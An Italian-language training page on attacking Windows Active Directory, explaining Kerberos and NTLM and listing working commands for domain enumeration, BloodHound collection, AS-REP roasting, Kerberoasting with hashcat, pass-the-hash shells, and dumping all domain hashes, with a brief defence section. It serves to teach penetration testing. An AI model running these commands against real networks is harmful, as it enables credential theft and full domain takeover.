Active Directory (AD)
Come sono organizzate le reti Windows aziendali e come si attaccano. È il cuore del pentest interno reale.
Teoria: com'è fatto AD
Active Directory è il sistema con cui Windows gestisce utenti, computer e permessi di un'intera azienda in modo centralizzato. Concetti chiave:
- Domain Controller (DC): il server che ospita AD. Chi controlla il DC controlla tutta la rete.
- Dominio: l'insieme di utenti/PC gestiti (es.
corp.local). - LDAP: il protocollo per interrogare la "rubrica" di AD (utenti, gruppi).
- Kerberos: il protocollo di autenticazione principale. Funziona a "biglietti" (ticket): ti autentichi una volta e ottieni un TGT (Ticket Granting Ticket), poi chiedi ticket per i singoli servizi (TGS).
- NTLM: vecchio meccanismo di autenticazione basato sull'hash della password (ancora presente → base di pass-the-hash).
L'attacco ad AD raramente è un singolo exploit: è una catena — parti da un utente qualsiasi, raccogli informazioni, ti sposti lateralmente, escali fino a Domain Admin.
Enumeration (con credenziali base)
Di solito parti con un utente a bassi privilegi. Prima cosa: mappare il dominio.
# enum via SMB/RPC senza o con credenziali
enum4linux-ng -A 10.10.10.5
rpcclient -U "utente%password" 10.10.10.5
dentro: enumdomusers, querygroup, ...
# interroga LDAP (utenti, gruppi, descrizioni — spesso password nei campi description!)
ldapsearch -x -H ldap://10.10.10.5 -b "dc=corp,dc=local"
# netexec (ex-crackmapexec): validare credenziali su tutta la rete
netexec smb 10.10.10.0/24 -u utente -p password
netexec smb 10.10.10.5 -u utente -p password --users --groups --shares
BloodHound — trovare la strada per Domain Admin
Come funziona: raccoglie tutte le relazioni di AD (chi è admin di cosa, chi può resettare quali password, sessioni attive) e le mette in un grafo. Poi con una query ti mostra il percorso più breve dal tuo utente a Domain Admin.
# 1) raccogli i dati dal dominio (collector Python, da remoto)
bloodhound-python -u utente -p password -d corp.local -ns 10.10.10.5 -c all
# (su un host Windows compromesso si usa SharpHound.exe)
# 2) importa gli .json in BloodHound (GUI) e usa
"Shortest Paths to Domain Admins"
AS-REP Roasting
Come funziona: alcuni utenti hanno l'opzione "non richiedere pre-autenticazione Kerberos". Per loro puoi chiedere al DC un blob cifrato con l'hash della loro password — senza conoscere la password — e craccarlo offline.
# trova utenti senza pre-auth e prendi gli hash (impacket)
impacket-GetNPUsers corp.local/ -usersfile utenti.txt -no-pass -dc-ip 10.10.10.5
# crackalo (hashcat modalità 18200)
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
Kerberoasting
Come funziona: qualsiasi utente autenticato può chiedere un ticket di servizio (TGS) per gli account "di servizio" (quelli con un SPN). Il ticket è cifrato con l'hash della password del service account → lo craccki offline. Questi account hanno spesso password deboli e privilegi alti.
# richiedi i TGS degli account con SPN
impacket-GetUserSPNs corp.local/utente:password -dc-ip 10.10.10.5 -request
# crackalo (hashcat modalità 13100)
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
Pass-the-Hash & movimento laterale
Con NTLM non serve la password in chiaro: basta l'hash per autenticarti (Pass-the-Hash).
# esegui comandi/shell su un host usando l'hash NTLM
impacket-psexec -hashes :<hash_ntlm> Administrator@10.10.10.7
netexec smb 10.10.10.0/24 -u Administrator -H <hash_ntlm>
# shell interattiva su Windows via WinRM (con password o hash)
evil-winrm -i 10.10.10.7 -u Administrator -H <hash_ntlm>
# dump di TUTTI gli hash del dominio (da Domain Admin / sul DC)
impacket-secretsdump corp.local/Administrator@10.10.10.5 -just-dc
Il traguardo finale (DCSync/secretsdump del DC) ti dà l'hash di krbtgt, con cui si forgiano i Golden Ticket (accesso persistente a tutto il dominio). È il "game over" di AD.
Difesa
- Password lunghe/casuali per i service account (uccide il Kerberoasting); usare gMSA.
- Niente "no pre-auth"; disabilitare NTLM dove possibile.
- Tiering degli amministratori, LAPS per le password admin locali, monitoraggio con strumenti come PingCastle.
- Rilevare le richieste TGS anomale e l'uso di BloodHound/SharpHound.